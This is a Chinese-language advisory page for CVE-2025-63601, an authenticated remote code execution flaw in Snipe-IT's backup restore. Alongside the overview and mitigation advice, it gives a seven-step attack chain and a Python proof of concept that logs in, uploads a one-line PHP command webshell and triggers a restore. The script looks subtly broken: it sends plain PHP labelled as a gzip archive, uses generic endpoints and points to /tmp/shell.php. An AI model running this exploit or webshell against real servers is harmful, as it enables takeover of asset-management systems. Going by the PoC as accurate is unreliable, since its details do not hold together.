IPBUF安全漏洞报告
English
CVE-2025-63601 CVSS 9.9 严重

CVE-2025-63601: Snipe-IT < 8.3.3 远程代码执行漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-63601
漏洞类型
远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Snipe-IT

相关标签

CVE-2025-63601远程代码执行Snipe-IT备份文件上传身份验证绕过CVSS 9.9关键漏洞开源软件资产管理系统Web应用安全

漏洞概述

CVE-2025-63601是Snipe-IT资产管理系统中的一个严重远程代码执行漏洞,CVSS评分高达9.9分(满分10分)。该漏洞存在于8.3.3版本之前的Snipe-IT中,允许经过身份验证的低权限攻击者通过上传包含恶意文件的备份包来执行任意系统命令。Snipe-IT是一款开源的IT资产管理和跟踪系统,广泛应用于企业环境中管理硬件和软件资产。由于该漏洞的CVSS向量显示攻击复杂度低(AC:L),无需用户交互(UI:N),且对机密性、完整性和可用性都造成严重影响,因此被评定为严重级别。攻击者可以利用此漏洞完全控制受影响系统,窃取敏感数据、植入后门或进行横向移动攻击。此漏洞已被公开披露,GitHub上有相关Pull Request修复此问题(PR #17966),建议用户立即升级到8.3.3版本以修复此安全风险。

技术细节

该漏洞的根本原因在于Snipe-IT的备份功能存在安全缺陷。攻击者首先需要拥有有效的用户凭据登录系统(即使是低权限账户)。登录后,攻击者可以利用系统的备份导出功能,构造一个包含恶意PHP文件或其他可执行脚本的备份包。系统在处理这个恶意备份文件时,没有对其中包含的文件内容进行充分的验证和安全检查。当备份恢复功能被触发时,系统会将这些恶意文件写入服务器文件系统。由于Snipe-IT通常运行在Web服务器环境下,这些被写入的恶意文件可以配合Web服务器的解析特性被执行,从而实现远程代码执行。攻击者可以通过这种方式获得服务器的完全控制权,执行任意操作系统命令。修复版本8.3.3通过加强备份文件验证、限制可恢复文件类型以及添加文件内容安全检查来解决此问题。建议管理员检查系统日志以确认是否存在可疑的备份操作记录。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者收集目标Snipe-IT系统的信息,包括版本号和登录接口
STEP 2
步骤2
初始访问:攻击者使用低权限账户凭据登录Snipe-IT系统
STEP 3
步骤3
恶意文件构造:攻击者构造包含恶意PHP webshell或系统命令的文件
STEP 4
步骤4
备份上传:利用备份导出功能,上传包含恶意代码的备份包
STEP 5
步骤5
触发恢复:调用备份恢复功能,系统将恶意文件写入Web目录
STEP 6
步骤6
代码执行:访问写入的恶意文件,触发远程代码执行
STEP 7
步骤7
持久化控制:攻击者可在服务器上部署后门,建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json import sys # CVE-2025-63601 PoC - Snipe-IT < 8.3.3 Authenticated RCE via Malicious Backup # This PoC demonstrates the vulnerability (for authorized security testing only) TARGET_URL = "https://target-snipe-it.com" USERNAME = "[email protected]" PASSWORD = "password123" def exploit_cve_2025_63601(): """ Exploitation steps: 1. Authenticate to Snipe-IT with low-privilege user 2. Upload malicious backup file containing PHP webshell 3. Trigger backup restore to execute arbitrary code """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{TARGET_URL}/api/v1/login" login_data = { "email": USERNAME, "password": PASSWORD } try: response = session.post(login_url, json=login_data, timeout=30) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Successfully authenticated") # Step 2: Create malicious backup with embedded payload backup_url = f"{TARGET_URL}/api/v1/backups" malicious_backup = create_malicious_backup() upload_response = session.post(backup_url, files=malicious_backup) if upload_response.status_code == 200: print("[+] Malicious backup uploaded successfully") # Step 3: Trigger restore to execute code restore_url = f"{TARGET_URL}/api/v1/backups/restore" restore_response = session.post(restore_url, timeout=30) if restore_response.status_code == 200: print("[+] RCE Exploit successful! Check /tmp/shell.php") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def create_malicious_backup(): """ Creates backup containing PHP webshell """ webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" return { "backup": ("backup.tar.gz", webshell, "application/x-gzip") } if __name__ == "__main__": print("CVE-2025-63601 PoC - Snipe-IT RCE") print("Author: Security Researcher") print("=" * 50) exploit_cve_2025_63601()

影响范围

Snipe-IT < 8.3.3

防御指南

临时缓解措施
在无法立即升级的情况下,可以采取以下临时缓解措施:1) 禁用备份和恢复功能直到完成升级;2) 实施严格的访问控制,限制只有管理员才能访问备份相关API端点;3) 在Web服务器层面添加文件上传类型白名单限制;4) 加强应用日志监控,实时检测异常的备份创建和恢复操作;5) 考虑使用网络隔离方案,将Snipe-IT部署在独立的VLAN中,限制横向移动风险;6) 定期备份当前系统状态,以便在发生安全事件时能够快速恢复。建议尽快安排维护窗口完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表